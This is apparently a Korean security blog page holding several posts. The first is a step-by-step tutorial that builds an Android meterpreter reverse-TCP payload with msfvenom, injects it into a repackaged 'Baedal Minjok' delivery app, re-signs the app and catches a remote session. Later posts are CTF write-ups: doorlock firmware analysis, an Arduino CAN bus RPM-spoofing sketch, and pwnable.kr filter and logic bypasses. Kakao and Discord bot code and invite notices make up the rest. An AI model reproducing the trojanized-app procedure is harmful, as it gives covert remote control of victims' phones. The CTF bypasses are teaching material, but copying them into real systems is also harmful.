반응형
반응형
반응형

해킹은 반드시 자신의 기기에만 해주세요.

그렇지 않을 경우 법적인 처벌을 받으실 수 있습니다.


안드로이드 어플리케이션 후킹하기

커버로스님의 영상 : https://www.youtube.com/watch?v=4YCwXZ1SVls&t=717s


해킹에 사용된 기기는 안드로이드 버전은 7.1.2의 샤오미 홍미 5 플러스입니다.

후킹할 어플리케이션으로 배달의 민족을 사용했습니다.

프로젝트에 사용된 PC의 운영체제는 kali linux 2018.1 입니다.


- 안드로이드 스마트폰

- 후킹할 어플

- kali linux



* 칼리 리눅스에 설치되어 있는 apktool 2.3.1는 어플을 빌드하는 과정중에 오류가 발생하므로,

https://bitbucket.org/iBotPeaches/apktool/downloads/ 에서 최신버전을 다운로드 받아 사용하였습니다. (2.3.3)



1.어플리케이션 다운로드 받기



https://apkpure.com/ 에서 후킹할 apk파일을 다운로드 받습니다. 저는 '배달의 민족' 어플리케이션을 사용하였습니다.


그 뒤 파일명을 baedal.apk로 바꾸었습니다.



2. msfvenom을 이용하여 악성코드 apk파일을 생성합니다.

저는 payload.apk로 만들었습니다.

lhostPCip주소를, lport로는 4444로 지정해주었습니다.


# msfvenom p android/meterpreter/reverse_tcp lhost=192.168.0.7 lport=4444 o payload.apk




3. payload.apk baedal.apk 모두 apktool를 이용하여 디패키징합니다.




4. payload/smali/com/에 있는 metasploit/baedal/smali/com/으로 복사합니다.




5. baedal/payload/에 있는 각각의 AndroidManifest.xml파일을 gedit을 통해 엽니다.


# gedit AndroidManifest.xml




6. payload의 권한과 기능을 baedal로 복사합니다.


payloadAndroidManifest.xml에 있는 모든 permissionfeature부분을 복사하여

baedalAndroidManifest.xml로 붙여넣기합니다.



^ payloadAndroidManifest.xml에 있는 모든 permissionfeature부분




^ baedalAndroidManifest.xml로 붙여넣기한 모습



7. 어플리케이션이 처음 실행될 때 시작되는 Activity 부분을 찾습니다.

launchermain은 항상 붙어다니기 때문에 launcher을 검색하여 main부분을 찾습니다.




^ category인 LAUNCHER 바로 위에 action인 MAIN이 보입니다.



main이 포함되어있는 activity가 앱이 처음 실행될 때 시작되는 activity입니다.

activity파일의 경로를 확인합니다.



com.baemin.presentation.ui.GateWayActivity



8. 위 경로를 따라 GateWayActivity파일을 찾아 엽니다.




onCreate 함수를 찾습니다.

어플리케이션이 처음 실행될 때 무엇인가가 생성되는 부분임을 알 수 있습니다.




metasploit/stage/ 에 있는 MainService.smali파일을 cat명령어로 출력한 뒤

출력된 문자열중 최하단에서 4번째줄의 명령어를 복사하여

invoke-super {p0, p1}, Landroid/support/v7/app/c;->onCreate...(생략) 부분 바로 아래에 붙여넣습니다.




이 것을 후킹이라고 합니다.



9. 이제 apktool을 사용하여 baedal/을 빌드(패키징)해줍니다. -o 옵션으로 baemin.apk라는 이름을 주었습니다.



빌드중 에러가 발생했습니다. 이정도 에러는 보고 수정해준뒤 다시 빌드하면 됩니다.

에러를 보니 keyboardNavigationCluster 를 찾을 수 없는 것 같은데, 그냥 지우고 다시 빌드합니다.




빌드에 성공했습니다.



빌드에 성공하여 baemin.apk파일을 확인할 수 있습니다.




10. baemin.apk에 서명을 합니다.

서명되지 않은 안드로이드 어플리케이션은 안드로이드 기기에 설치할 수 없으므로 서명을 꼭 해야합니다.


keytooljarsigner을 사용하여 baemin.apk 서명작업을 진행하였습니다.

그 전에 keytool이 정상적으로 동작할 수 있도록 home/.android파일을 생성해줍니다.


# cd ~

# mkdir .android

 

# keytool genkey v keystore ~/.android/debug.keystore storepass android alias androiddebugkey keypass android validity 9999

(옵션 validity 99999999일 동안 유효함을 의미합니다.)


# jarsigner verbose keystore ~/.android/debug.keystore storepass android keypass android sigalg SHA256withDSA baemin.apk androiddebugkey




11. 해킹될 기기에서 해당 어플리케이션을 다운로드 받습니다.


아파치 서버를 열고, 서버 경로에 baemin.apk를 옮겨둡니다.




안드로이드 기기에서 http://192.168.0.7/baemin.apk로 이동하여 파일을 다운로드 받습니다.



12. msfconsole 사용을 위해 handler.rc파일을 생성합니다.


# vi handler.rc




postgresql를 시작하고, msfconsole도 시작합니다.


# service postgresql start

# msfconsole r handler.rc



13. 안드로이드 기기에서 baedal.apk파일을 설치하고 실행합니다.




실행시, 정상적인 배달의 민족 어플리케이션으로 보이게 됩니다.

그러나 PC에서는 세션이 하나 잡히게 됩니다.



 

세션을 확인하고 연결합니다.



이제 해킹에 성공한 것입니다.

해당 기기의 정보를 확인할 수도 있으며(sysinfo), 스크린샷을 찍어 볼 수도 있습니다(screenshot).




반응형
반응형

마감되었습니다.



티스토리 초대장 10장을 배포합니다.

# 등록일 : 18.04.26 16:26


# 17:18 3장 남았습니다.

# 19:36 1장 남았습니다.



신청 양식:

0. 블로그 운영 목적

1. 공감버튼 눌러주세요

2. 추가로 하실 말

3. 이메일 주소

4. "신청합니다." 라고 작성




*선착순이 아닙니다.

*양식을 지키지 않을 경우 제외.

반응형
반응형


4월 5월 코드게이트에서 이벤트로 진행되었던 OPEN CTF 일부 문제 풀이입니다.



- DoorLock Hacking

- Car Canbus Hacking





DoorLock Hacking


도어락의 펌웨어를 분석하여 비밀번호를 알아내서 도어락 해제후 안에 들어있는 FLAG를 얻으면 되는 것이었습니다.


주어진 펌웨어는 ARM에서 작동하는 32bit ELF 파일입니다.


IDA를 이용하여 분석하면 됩니다.




Shift + F12 단축키를 이용해 Strings를 확인 할 수 있습니다.





들어가보면 키패드 문자처럼 보이는 것들이 뜨네요.


여기서 스크롤을 위로 올라가다 보면




각 함수 하나에 정수 하나씩 있는 것을 확인 할 수 있습니다.


조합해보면 


19981217


누군가의 생일 같아 보이네요.


키패드를 누를때 *눌러 시작하고 #을 눌러 완료하면 됩니다.



도어락 비밀번호 : *19981217#


그후 안에 있는 FLAG를 확인 합니다.






Car Canbus Hacking


자동차 계기판에서 RPM을 5000으로 올리면 되는 문제.

-아두이노 불량인 줄 모르고 3시간 동안 삽질했었던....



문제를 풀기 위해선 아두이노와 캔통신모듈이 필요했습니다. 



힌트로 제공된 링크 :


http://orasman.tistory.com/282

http://bimmerforums.com/forum/showthread.php?1887229-E46-Can-bus-project




첫번째 링크 포스트를 통해 이두아노와 캔통신모듈의 배선 연결 표를 참고하여 연결할 수 있습니다.


아두이노를 설치한 후 다음 링크에서 라이브러리를 다운받아 설치합니다.

https://github.com/coryjfowler/MCP_CAN_lib



아두이노를 설치해 주고 위 링크에 있는 예제중 CAN_Send를 불러 옵니다.


기본 설정은 힌트를 참고해 수정해 줍니다.


MCP_16MHZ -> MCP_8MHZ

delay(100); -> delay(10);  # 사실 딜레이는 큰 상관이 없습니다.


CS는 10번핀에 꽂아줍니다.



이제 수정해야 할값은 ID와 DATA뿐입니다.


이것들은 두번째 링크를 참고해 줍니다.


우리한테 필요한부분은 RPM을 올리는 것이므로 RPM부분을 찾아봅시다.



ARBID: 0x316 (DME1) 
-B0
-B1 
-B2 RPM LSB
-B3 RPM MSB [RPM=(hex2dec("byte3"&"byte2"))/6.4]
-B4
-B5
-B6
-B7



설명을 보면 ID는 0x316, B0~B7은 DATA배열에서 각 설명입니다.

B2와 B3만 수정해주면 될 것 같습니다.


B3을 보면 RPM=(hex2dex("byte3"&"byte2"))/6.4 라는 식이 있습니다.


이 식의 의미는 B3 + B2 의 값을 10진수로 변환 하여 6.4로 나눈 값이 RPM이 된다는 것입니다.


여기서 B3 + B2의 의미는 예로 들면 B2 = 0xAB이고 B3= 0xCD일때 0xCDAB가 되는 것입니다.



우리는 RPM = 5000으로 만들어야 합니다.


5000 x 6.4 = 32000, dex2hex(32000) = 0x7D00


B3 = 0x7D, B2 = 0x00 이 되겠네요.



위의 값을 가져와 코드를 수정해 줍시다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <mcp_can.h>
#include <SPI.h>
 
MCP_CAN CAN0(10);     // Set CS to pin 10
 
void setup()
{
  Serial.begin(115200);
 
  if(CAN0.begin(MCP_ANY, CAN_500KBPS, MCP_8MHZ) == CAN_OK) Serial.println("MCP2515 Initialized Successfully!");
  else Serial.println("Error Initializing MCP2515...");
 
  CAN0.setMode(MCP_NORMAL);   // Change to normal mode to allow messages to be transmitted
}
 
byte data[8= {0x000x000x000x7D0x000x000x000x00};
 
void loop()
{
  byte sndStat = CAN0.sendMsgBuf(0x31608, data);
  if(sndStat == CAN_OK){
    Serial.println("Message Sent Successfully!");
  } else {
    Serial.println("Error Sending Message...");
  }
  delay(10);
}
cs



이후 아두이노에 코드를 업로드 하면 계기판의 RPM이 5를 가리키고 있는 것을 확인 할 수 있습니다.

반응형

'CTF Write Up' 카테고리의 다른 글

KDMHS CTF 2018 Write-up  (0) 2018.06.18
H3X0R 4rd CTF 2018 [easy_png] Write-up  (0) 2018.06.14
제 1회 TEAMH4C CTF Write Up  (0) 2017.10.29
[EKOPARTY CTF 2017] Malbolge  (1) 2017.09.17
CRC CTF 2017 Write-up  (0) 2017.09.13
반응형

반복적으로 같은 요청을 하는 (도배)를 막는 기능을 추가하겠습니다.




kakao auto_reply에서 제공하는 user_key를 이용하겠습니다.

user_key는 옐로우 아이디 마다 부여되는 고유 키값입니다.


처음에는 user_key값을 이용하여 반복적으로 동일한 요청을 해올 경우 딜레이를 주는 방법을 사용하려고 했지만

구현할 방법을 모르겠어서...


직전에 요청한 유저와 다음 요청해온 유저가 같을 경우 함수를 실행하지 않고 리턴하는 방법을 사용하겠습니다.

이 경우 다른 유저가 요청해오지 않는 이상 한 유저가 연속으로 요청을 할 수가 없게 되죠.


도배로 고통받는 개발자...




모든 요청(버튼)에 대해서 적용하는 방법과 각각의 요청(버튼)에 적용하는 방법이 있습니다.

모든 요청(버튼)에 적용하게 되면 한 요청을 했을 때 바로 다른 요청을 할 수가 없으므로

각각에 요청에 적용하는 방법을 사용하겠습니다.

그러기 위해서 class 를 사용하겠습니다.





코드 작성하기


적용된 전체 코드 :  https://github.com/M4ndU/inhun_kakao_chat_bot_2/blob/master/views.py




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class user_chk():
 
    def __init__(self):
        self.pre_key = "" #이전 user_key값
        self.now_key = "" #현재 user_key값
 
    def check(self, key):
        self.now_key = key # now_key값에 현재 user_key값 대입
 
        if self.pre_key == self.now_key : # 비교 하여 같으면 1을 반환
            passcode = 1
        else :
            self.pre_key = self.now_key # 다를 경우 pre_key값에 now_key값을 덮어쓰고 0 반환
            passcode = 0
        return passcode
cs



바로 다음 코드들을 작성하여 값 초기화 설정을 해 둡니다.

필요한 개수 만큼 작성합니다.


1
2
3
4
 
u0 = user_chk()
u1 = user_chk()
 
cs



이렇게 하면, u0.check(user_key)를 실행하게 될 경우

이전 user_key값(=pre_key)과 비교하여 같으면 1 반환, 다르면 pre_key에 저장하고 0을 반환합니다.


u0, u1각각 독립적으로 사용되기 때문에 u0.check("dd")를 했다고 해서 u1.pre_key에 dd가 드러가지 않는 것이죠.

이를 통해 각각 요청(버튼)에 적용하여 사용할 수 있습니다.



이제 user_key값을 가져와 봅시다.


1
2
3
4
...
    datacontent = received_json_data['content']
    user_key = received_json_data['user_key']
 
cs


기존 작성했던 datacontent = received_json_data['content'] 바로 밑에 작성해 줍니다.




user_key값도 불러왔으니 이제 각 분기마다 적용해줍니다.


https://github.com/M4ndU/inhun_kakao_chat_bot_2/blob/master/views.py

92~104


92
93
94
95
96
97
98
99
100
101
102
103
104
    if datacontent == '오늘 급식':
        if u0.check(user_key):
            return ret_proc(PlzStopIt)
        dt = datetime.datetime.today()
        diet = get_meal(dt)
        return ret_proc(diet)
 
    elif datacontent == '내일 급식':
        if u1.check(user_key):
            return ret_proc(PlzStopIt)
        dt = datetime.datetime.today() + datetime.timedelta(days=1)
        diet = get_meal(dt)
        return ret_proc(diet)
cs



        if u0.check(user_key):

            return ret_proc(PlzStopIt)


를 통해서 u0.pre_key = u0.now_key가 되어 1을 반환하게 되면

조건이 True가 되어 밑에 작업을 진행하지 않고 바로 문자열을 바로 반환합니다.

그럴려면 PlzStopIt에 문자열을 저장해주어야 겠죠?


반응형
반응형

이번에는 이번에는 맴버 관련 기능을 구현해보도록 하겠습니다.


목차입니다.



1. 맴버가 서버 접속, 퇴장시 서버 텍스트 채널에 메세지를 보내는 기능

2. 맴버가 서버 접속시 1:1 채팅에 메세지를 보내는 기능

3. 주기적으로 공지메세지를 보내는 기능 (백그라운드로 동작)










1. 맴버가 서버 접속, 퇴장시 서버 텍스트 채널에 메세지를 보내는 기능



먼저 코드를 봅시다.


1
2
3
4
5
6
7
8
9
10
11
@client.event
async def on_member_join(member):
    fmt = '{1.name} 에 오신것을 환영합니다., {0.mention} 님'
    channel = member.server.get_channel("channel_id_here")
    await client.send_message(channel, fmt.format(member, member.server))
 
@client.event
async def on_member_remove(member):
    channel = member.server.get_channel("channel_id_here")
    fmt = '{0.mention} 님이 서버에서 나가셨습니다.'
    await client.send_message(channel, fmt.format(member, member.server))
cs



on_member_join 함수는 맴버가 서버에 들어 왔을 때 실행되는 함수이고,

on_member_remove 함수는 맴버가 서버를 나갔을 때 실행되는 함수입니다.


format를 통해서 {0.mention}  에는 맴버가 언급되고,  {1.name} 에는 서버이름이 자동적으로 대입됩니다.


channel_id_here에 들어갈 id를 찾는 방법은 본문 하단에 설명되어 있습니다.









2. 맴버가 서버 접속시 1:1 채팅에 메세지를 보내는 기능



간단합니다. 아래의 코드를 이용하면 끝입니다.


await client.send_message(member, "내용")


여기서 우리는 맴버가 서버에 들어왔을 때 보내도록 할 것이므로, on_member_join 함수 밑에 두겠습니다.



1
2
3
4
5
6
@client.event
async def on_member_join(member):
    fmt = '{1.name} 에 오신걸 환영합니다, {0.mention} 님'
    channel = member.server.get_channel("channel_id_here")
    await client.send_message(channel, fmt.format(member, member.server))
    await client.send_message(member, "내용")
csv



"내용" 에 원하는 내용을 작성하시면 됩니다.









3. 주기적으로 공지사항등의 메세지를 보내는 기능입니다.



백그라운드로 동작합니다.


코드입니다. :


1
2
3
4
5
6
    async def my_background_task():
        await client.wait_until_ready()
        channel = discord.Object(id='channel_id_here')
        while not client.is_closed:
            await client.send_message(channel, "hi")
            await asyncio.sleep(5
cs


@client.event 가 필요 없습니다.



----------------channel_id_here 구하기---------------


channel_id_here 에 메세지를 보낼 텍스트 채널의 id를 입력해주시면 되는데요.

id를 확인하는 방법은 다음과 같습니다:

1. 디스코드 채널을 웹을 통해 접속한다.

2. 텍스트 채널에 들어간다.

3. URL마지막에 있는 18자리 숫자가 id다.




"hi" 대신에 보낼 메세지를 넣어주시면 됩니다.


await asyncio.sleep(5)

에서 5 대신에 자신이 원하는 시간 간격을 초 단위로 작성하여 주시면 됩니다.


EX) await asyncio.sleep(60*60*24) 이라고 하면 1일마다 메세지를 보내게 됩니다.




이 부분을 다 작성하셨으면 전체 코드에서 하단으로 가셔서 client.run() 부분을 찾습니다.

client.run() 코드 바로 위에 아래의 코드를 추가합니다 :


client.loop.create_task(my_background_task())


그러면


client.loop.create_task(my_background_task())

cleint.run('token')


처럼 됩니다.


만약 discord.errors.Forbidden: FORBIDDEN (status code: 403): Missing Access 이런 오류가 발생한다면

권한 문제이니 서버에서 봇의 권한을 설정해 주시면 됩니다.







전체 코드는 다음 링크를 참조해주세요.


https://github.com/M4ndU/inhun_discord_chat_bot_2/blob/master/inhun_bot.py

반응형
반응형

마감되었습니다.



티스토리 초대장 10장을 배포합니다.

# 등록일 : 18.03.27 18:53


# 03.27 23:01 : 6장 남아있습니다.

# 03.28 22:31 : 4장 남아있습니다.

# 03.29 17:14 : 3장 남아있습니다.

# 03.30 14:54 : 3장 남아있습니다.



신청 양식:

0. 블로그 운영 목적

1. 공감버튼 눌러주세요

2. 추가로 하실 말

3. 이메일 주소

4. "신청합니다." 라고 작성




*선착순이 아닙니다.

*양식을 지키지 않을 경우 제외.

반응형
반응형

cmd2 - 9 pt

Daddy bought me a system command shell.

but he put some filters to prevent me from playing with it without his permission...

but I wanna play anytime I want!


ssh cmd2@pwnable.kr -p2222 (pw:flag of cmd1)



비밀번호는 cmd1문제의 플래그다.



cmd2@ubuntu:~$ ls -l

total 20

-r-xr-sr-x 1 root cmd2_pwn 8794 Dec 21  2015 cmd2

-rw-r--r-- 1 root root      586 Dec 21  2015 cmd2.c

-r--r----- 1 root cmd2_pwn   30 Jul 14  2015 flag

cmd2@ubuntu:~$ cat cmd2.c

#include <stdio.h>

#include <string.h>


int filter(char* cmd){

int r=0;

r += strstr(cmd, "=")!=0;

r += strstr(cmd, "PATH")!=0;

r += strstr(cmd, "export")!=0;

r += strstr(cmd, "/")!=0;

r += strstr(cmd, "`")!=0;

r += strstr(cmd, "flag")!=0;

return r;

}


extern char** environ;

void delete_env(){

char** p;

for(p=environ; *p; p++) memset(*p, 0, strlen(*p));

}


int main(int argc, char* argv[], char** envp){

delete_env();

putenv("PATH=/no_command_execution_until_you_become_a_hacker");

if(filter(argv[1])) return 0;

printf("%s\n", argv[1]);

system( argv[1] );

return 0;

}



일단 환경변수 메모리 부분을 모두 초기화 한다.

그리고 입력값에서 "=", "PATH", "export", "/",  "`", "flag" 를 필터링한다.

"/" 를 필터링하면서, /bin/cat을 사용하기 어려워졌다..ㅠㅠ


그러면, bash의 기본 함수인 read를 이용해서 플래그를 얻어야 할 것 같다.


cmd2@ubuntu:~$ ./cmd2 "read a; \$a"

read a; $a

/bin/cat flag

FuN_w1th_5h3ll_v4riabl3s_haha


FLAG : FuN_w1th_5h3ll_v4riabl3s_haha



반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [memcpy] 풀이  (0) 2018.06.12
pwnable.kr [uaf] 풀이  (1) 2018.06.11
pwnable.kr [cmd1] 풀이  (0) 2018.03.22
pwnable.kr [lotto] 풀이  (0) 2018.03.18
pwnable.kr [blackjack] 풀이  (0) 2018.03.18
반응형

cmd1 - 1 pt

Mommy! what is PATH environment in Linux?


ssh cmd1@pwnable.kr -p2222 (pw:guest)



cmd1@ubuntu:~$ ls -l

total 20

-r-xr-sr-x 1 root cmd1_pwn 8513 Jul 14  2015 cmd1

-rw-r--r-- 1 root root      319 Jul 14  2015 cmd1.c

-r--r----- 1 root cmd1_pwn   48 Jul 14  2015 flag

cmd1@ubuntu:~$ cat cmd1.c

#include <stdio.h>

#include <string.h>


int filter(char* cmd){

int r=0;

r += strstr(cmd, "flag")!=0;

r += strstr(cmd, "sh")!=0;

r += strstr(cmd, "tmp")!=0;

return r;

}

int main(int argc, char* argv[], char** envp){

putenv("PATH=/fuckyouverymuch");

if(filter(argv[1])) return 0;

system( argv[1] );

return 0;

}


입력한 명령어를 그대로 실행시켜준다.
그러나 flag, sh, tmp는 필터링을 하는 것을 알 수 있다.

환경변수를 이용해서 풀어야 할 것 같지만, 와일드카드는 막지 않고 있다.
와일드 카드 사용하면 플래그가 나온다.

cmd1@ubuntu:~$ ./cmd1 "/bin/cat *"
...
mommy now I get what PATH environment is for :)


FLAG  : mommy now I get what PATH environment is for :)


반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [uaf] 풀이  (1) 2018.06.11
pwnable.kr [cmd2] 풀이  (0) 2018.03.22
pwnable.kr [lotto] 풀이  (0) 2018.03.18
pwnable.kr [blackjack] 풀이  (0) 2018.03.18
pwnable.kr [coin1] 풀이  (2) 2018.03.12
반응형

lotto - 2 pt 

Mommy! I made a lotto program for my homework.

do you want to play?



ssh lotto@pwnable.kr -p2222 (pw:guest)


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
 
unsigned char submit[6];
 
void play(){
    
    int i;
    printf("Submit your 6 lotto bytes : ");
    fflush(stdout);
 
    int r;
    r = read(0, submit, 6);
 
    printf("Lotto Start!\n");
    //sleep(1);
 
    // generate lotto numbers
    int fd = open("/dev/urandom", O_RDONLY);
    if(fd==-1){
        printf("error. tell admin\n");
        exit(-1);
    }
    unsigned char lotto[6];
    if(read(fd, lotto, 6!= 6){
        printf("error2. tell admin\n");
        exit(-1);
    }
    for(i=0; i<6; i++){
        lotto[i] = (lotto[i] % 45+ 1;        // 1 ~ 45
    }
    close(fd);
    
    // calculate lotto score
    int match = 0, j = 0;
    for(i=0; i<6; i++){
        for(j=0; j<6; j++){
            if(lotto[i] == submit[j]){
                match++;
            }
        }
    }
 
    // win!
    if(match == 6){
        system("/bin/cat flag");
    }
    else{
        printf("bad luck...\n");
    }
 
}
 
void help(){
    printf("- nLotto Rule -\n");
    printf("nlotto is consisted with 6 random natural numbers less than 46\n");
    printf("your goal is to match lotto numbers as many as you can\n");
    printf("if you win lottery for *1st place*, you will get reward\n");
    printf("for more details, follow the link below\n");
    printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
    printf("mathematical chance to win this game is known to be 1/8145060.\n");
}
 
int main(int argc, char* argv[]){
 
    // menu
    unsigned int menu;
 
    while(1){
 
        printf("- Select Menu -\n");
        printf("1. Play Lotto\n");
        printf("2. Help\n");
        printf("3. Exit\n");
 
        scanf("%d"&menu);
 
        switch(menu){
            case 1:
                play();
                break;
            case 2:
                help();
                break;
            case 3:
                printf("bye\n");
                return 0;
            default:
                printf("invalid menu\n");
                break;
        }
    }
    return 0;
}
 
cs


우리가 봐야할 함수는 play()함수가 되겠네요.


void play(){

int i;

printf("Submit your 6 lotto bytes : ");

fflush(stdout);


int r;

r = read(0, submit, 6);


printf("Lotto Start!\n");

//sleep(1);


// generate lotto numbers

int fd = open("/dev/urandom", O_RDONLY);

if(fd==-1){

printf("error. tell admin\n");

exit(-1);

}

unsigned char lotto[6];

if(read(fd, lotto, 6) != 6){

printf("error2. tell admin\n");

exit(-1);

}

for(i=0; i<6; i++){

lotto[i] = (lotto[i] % 45) + 1; // 1 ~ 45

}

close(fd);

// calculate lotto score

int match = 0, j = 0;

for(i=0; i<6; i++){

for(j=0; j<6; j++){

if(lotto[i] == submit[j]){

match++;

}

}

}


// win!

if(match == 6){

system("/bin/cat flag");

}

else{

printf("bad luck...\n");

}


}



// calculate lotto score부분을 잘 살펴보자
for문 루프가 36번이 돈다..
lotto[0] == submit[0~5] 가 되서
만약 111111을 입력하고 lotto[]중에 1이 있을 경우 match의 값은 6이 되어 쉘을 얻을 수 있다.

lotto의 한 개만 알아내면 된다는 것이다.


그러나 입력할때 int형이 아닌 char형으로 받기 때문에 1을 입력하면 '1'로 인식되어 10진수값으로 49가 된다.
45 이하가 되는 문자는 아스키코드표를 참조하자.
키보드로 입력 가능한 문자는 몇개 되지 않는다.

저는 !를 사용하겠습니다.

- Select Menu -
1. Play Lotto
2. Help
3. Exit
1
Submit your 6 lotto bytes : !!!!!!
Lotto Start!
sorry mom... I FORGOT to check duplicate numbers... :(
- Select Menu -
1. Play Lotto
2. Help
3. Exit


몇번 시도하다 보니 플래그가 떴습니다.

FLAG : sorry mom... I FORGOT to check duplicate numbers... :(


반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [cmd2] 풀이  (0) 2018.03.22
pwnable.kr [cmd1] 풀이  (0) 2018.03.22
pwnable.kr [blackjack] 풀이  (0) 2018.03.18
pwnable.kr [coin1] 풀이  (2) 2018.03.12
pwnable.kr [shellshock] 풀이  (0) 2018.03.08
반응형

blackjack - 1 pt

Hey! check out this C implementation of blackjack game!

I found it online

* http://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html


I like to give my flags to millionares.

how much money you got?



Running at : nc pwnable.kr 9009


베팅하는 부분의 함수이다.


721
722
723
724
725
726
727
728
729
730
731
732
733
734
int betting() //Asks user amount to bet
{
 printf("\n\nEnter Bet: $");
 scanf("%d"&bet);
 
 if (bet > cash) //If player tries to bet more money than player has
 {
        printf("\nYou cannot bet more money than you have.");
        printf("\nEnter Bet: ");
        scanf("%d"&bet);
        return bet;
 }
 else return bet;
// End Function
cs


이 부분을 보면,

베팅할 금액을 입력받는데 가지고 있는 돈보다 많은 양을 입력했을 경우

다시 입력하도록 된다. 그러나 반복문이 아니라서 한번 더 많은 양을 입력해도 그 값이 그대로 넘어간다.

 

Cash: $500

-------

|S    |

|  J  |

|    S|

-------


Your Total is 10


The Dealer Has a Total of 7


Enter Bet: $1000000000000000



Would You Like to Hit or Stay?

Please Enter H to Hit or S to Stay.

s


You Have Chosen to Stay at 10. Wise Decision!


The Dealer Has a Total of 10

The Dealer Has a Total of 13

The Dealer Has a Total of 16

The Dealer Has a Total of 19

Dealer Has the Better Hand. You Lose.


You have 0 Wins and 2 Losses. Awesome!


Would You Like To Play Again?

Please Enter Y for Yes or N for No

Y


YaY_I_AM_A_MILLIONARE_LOL



Cash: $1530495476

-------

|C    |

|  8  |

|    C|

-------


Your Total is 8


The Dealer Has a Total of 5


Enter Bet: $



띠용 플래그가 나왔다.


FLAG : YaY_I_AM_A_MILLIONARE_LOL



반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [cmd1] 풀이  (0) 2018.03.22
pwnable.kr [lotto] 풀이  (0) 2018.03.18
pwnable.kr [coin1] 풀이  (2) 2018.03.12
pwnable.kr [shellshock] 풀이  (0) 2018.03.08
pwnable.kr [mistake] 풀이  (0) 2018.03.08

+ Recent posts